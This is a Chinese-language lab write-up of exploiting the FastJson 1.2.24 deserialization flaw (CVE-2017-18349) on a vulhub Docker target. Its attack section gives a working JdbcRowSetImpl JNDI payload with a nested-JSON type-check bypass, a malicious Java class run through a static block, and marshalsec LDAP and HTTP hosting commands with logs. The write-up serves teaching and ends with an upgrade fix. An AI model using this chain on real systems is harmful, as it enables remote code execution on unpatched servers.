0.前言与踩过的坑
暑假匆匆过去,又到了乖宝宝学习的时间了,这个其实是跑了回家前就搞完的了,现在才发出来意思一下,有些东西可能忘记写进去或者干脆不想写进去了,摆烂太久忘得可能有点多了。
FastJson 是阿里巴巴开源的 Java JSON 解析库,因其高性能在国内 Java 项目中广泛使用。2017 年披露的 CVE-2017-18349 是其最著名的漏洞之一:FastJson 1.2.24 及以下版本中 `autoType` 默认开启,攻击者可通过 `@type` 字段指定任意类触发反序列化,最终实现远程代码执行。
本文记录从零开始搭建环境、理解原理、完成攻击到踩坑总结的完整过程。
0.1 类型约束的坑——`type not match` 不是终点
直接用@type` 直接指定 JdbcRowSetImpl 时,返回 `type not match`,尝试java.lang.AutoCloseable`(一个 JDK 自带接口)当探针测试,发现同样是 `type not match` 而不是 `autoType is not support`,这说明autoType开关确确实实是开的,确实实例化了,但类型转化错误
autoType is not support → 类被拦截在加载阶段 → 漏洞不存在
type not match → 类已经加载并实例化,只是最后类型转换失败 → 漏洞存在!
但问题来了:漏洞存在 ≠ 能直接利用。`/` 接口的代码是 `JSON.parseObject(data, User.class)`,`User.class` 作为类型约束,在解析 `@type` 时做了类型检查。`JdbcRowSetImpl` 不是 `User` 的子类,直接被拦截,`setDataSourceName` 和 `setAutoCommit` 根本没被调用,JNDI 副作用不触发。
tcpdump 抓包 0 packets,搭好的 LDAP 服务没有任何请求进来——铁证。
0.2 嵌套 JSON 绕过类型检查
绕过的关键来自 Agent 搜索到的 payload:
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://...","autoCommit":true}}原理:外层 `b` 是 `Object` 类型字段,`User` 类通过类型检查 ✅。内层 `@type` 在反序列化 `b` 字段时才触发,此时没有类型约束,`JdbcRowSetImpl` 的属性设置正常执行,JNDI 触发。
1.环境准备
| 组件 | 版本 / 来源 | 用途 |
|---|---|---|
| 靶场 | vulhub/fastjson/1.2.24-rce (Docker) | 漏洞环境 |
| 攻击机 | Kali Linux 2025.4 | 攻击主机 |
| JDK 21 javac | Kali 自带 | 编译恶意类(--release 8对齐目标) |
| marshalsec | 预编译 jar | JNDI LDAP 转发服务 |
| Python HTTP Server | 系统自带 | 托管恶意 class 文件 |
| nc | 系统自带 | 带外回显 / 反弹 shell 监听 |
2.基本原理与核心代码审计
这一部分详细可以去看我之前的文章,这里只做简单介绍
2.1基本概念
FastJson 是阿里巴巴开源的高性能 JSON 解析库,核心功能是把 JSON 字符串和 Java 对象互相转换:
```java // 序列化:Java 对象 → JSON 字符串 String json = JSON.toJSONString(user); // → {"name":"Bob","age":25}// 反序列化:JSON 字符串 → Java 对象 User user = JSON.parseObject(json, User.class); ```2.2 为什么会爆出反序列化漏洞?
FastJson 有一个 `@type` 字段,作用是**指定反序列化的目标类**:
```json
{"@type":"com.example.User","name":"Bob","age":25}
```
正常情况下,`@type` 的值应该是业务需要的类。但 FastJson 1.2.24 的 `autoType` 默认开启,**不做任何限制**,攻击者可以指定任意 JDK 自带类或第三方库中的类。
漏洞根源: FastJson 反序列化时会自动调用目标对象的 **setter 方法**。某些 JDK 类的 setter 有副作用——比如 `JdbcRowSetImpl.setAutoCommit(true)` 会触发 JNDI 远程加载。
2.3 核心利用链
① 攻击者发送 JSON:
{"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://攻击机:1389/Evil",
"autoCommit":true}
② FastJson 反序列化:
- 实例化 JdbcRowSetImpl
- 调用 setDataSourceName("ldap://攻击机:1389/Evil") ← 记住地址
- 调用 setAutoCommit(true) ← 触发 JNDI lookup
③ JdbcRowSetImpl 内部:
connect() → InitialContext.lookup("ldap://...")
↓
连接攻击机的 LDAP 服务 → 下载恶意类 → 执行恶意类的 static{} 代码块
```
2.4 核心代码审计
靶场控制器的关键代码:
```java // vulhub/fastjson/1.2.24-rce 的 JSONController.java @Controller public class JSONController { @RequestMapping(value = "/", method = RequestMethod.POST) @ResponseBody public User parse(@RequestBody String data) { // 关键:parseObject 的第二个参数 User.class 施加了类型约束 User user = JSON.parseObject(data, User.class); return user; } } ````parseObject(data, User.class)` 中的 `User.class` 是类型约束。如果直接在 JSON 顶层写 `@type` 指定非 User 类,FastJson 在解析阶段就会做类型检查并抛 `type not match`。
**绕过方式——嵌套 JSON:**
java // User 类中如果有 Object 类型的字段 public class User { private String name; private int age; private Object b; // ← Object 类型,无约束! }当 JSON 是 `{"b":{"@type":"JdbcRowSetImpl",...}}` 时:
- 外层 `b` 是 Object,`User` 通过检查 ✅
- 内层 `@type` 在反序列化 `b` 时触发,此时没有类型约束
- `JdbcRowSetImpl` 的属性设置正常执行,JNDI 触发
3. 攻击流程(重点)
3.1 指纹识别
先确认是 FastJson 靶场:
curl -i http://192.168.153.1:8081/ # 返回: {"age":25,"name":"Bob"}特征: 纯 JSON 响应 + 教学示例数据 → FastJson 靶场
3.2 探测 POST 解析行为
curl -i -X POST http://192.168.153.1:8081/-H "Content-Type: application/json"-d '{"name":"test","age":1}'返回: {"age":20,"name":"test"}
注意: age:1 变成了 age:20 → age 没有 setter,保持默认值 20,大概可以猜到这个age可能是写死的,而name经历了反序列化和序列化的过程
3.3 验证 autoType 是否开启
curl -i -X POST http://192.168.153.1:8081/-H "Content-Type: application/json" -d '{"@type":"java.lang.AutoCloseable"}'# 返回: "message":"type not match"
# 关键: 不是 "autoType is not support" → autoType 开启 ✅
判断逻辑:
type not match → 类已加载,已实例化 → autoType 没拦 → 漏洞存在
autoType is not support → 类被拦截在加载前 → 安全
3.4 编写恶意类
TouchFile.java import java.lang.Runtime; public class TouchFile { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"touch", "/tmp/success"}; rt.exec(commands).waitFor(); } catch (Exception e) { } } }3.5 编译(版本对齐)
# 用 --release 8 指定目标为 JDK 8 javac --release 8 TouchFile.java# 验证版本号
javap -verbose TouchFile.class | grep "major version"
# 输出: major version: 52 ← 52 = Java 8 ✅
3.6 启动服务
# 窗口 1: HTTP 服务(托管 TouchFile.class,端口 8000) python3 -m http.server 8000# 窗口 2: marshalsec LDAP 服务(端口 9191,转发到 HTTP) java -cp marshalsec-0.0.3-SNAPSHOT-all.jar \ marshalsec.jndi.LDAPRefServer \ "http://192.168.153.128:8000/#TouchFile" 91913.7 发送攻击 payload
curl -i -X POST http://192.168.153.1:8081/ \ -H "Content-Type: application/json" \ -d '{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.153.128:9191/TouchFile","autoCommit":true}}'3.8 结果分析
返回
json
{ "timestamp":1787918123486, "status":500, "error":"Internal Server Error", "message":"set property error, autoCommit", "path":"/" }**LDAP 日志:**
Listening on 0.0.0.0:9191 Send LDAP reference result for TouchFile redirecting to http://192.168.153.128:8000/TouchFile.class**HTTP 日志:**
192.168.153.1 - GET /TouchFile.class HTTP/1.1 200**攻击链全流程:**
```
① 嵌套 JSON 绕过类型检查
{"b":{"@type":"JdbcRowSetImpl",...}}
→ 外层 b 是 Object,User 类型检查通过 ✅
→ 内层 @type 在反序列化 b 时触发 autoType
② JdbcRowSetImpl.setAutoCommit(true)
→ 触发 connect() → JNDI lookup("ldap://192.168.153.128:9191/TouchFile")
③ marshalsec LDAP 服务
→ 返回重定向:http://192.168.153.128:8000/TouchFile.class
④ 靶机下载 TouchFile.class
→ HTTP 200 ✅
⑤ FastJson 加载 TouchFile 类
→ static {} 块执行 → touch /tmp/success ✅
4. 修复方案
### 4.1 升级 FastJson
FastJson 1.2.25 开始引入 `autoType` 黑名单机制,1.2.68 引入 `safeMode`。最低要求升级到 **1.2.83+**:
```xml
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.83</version>
</dependency>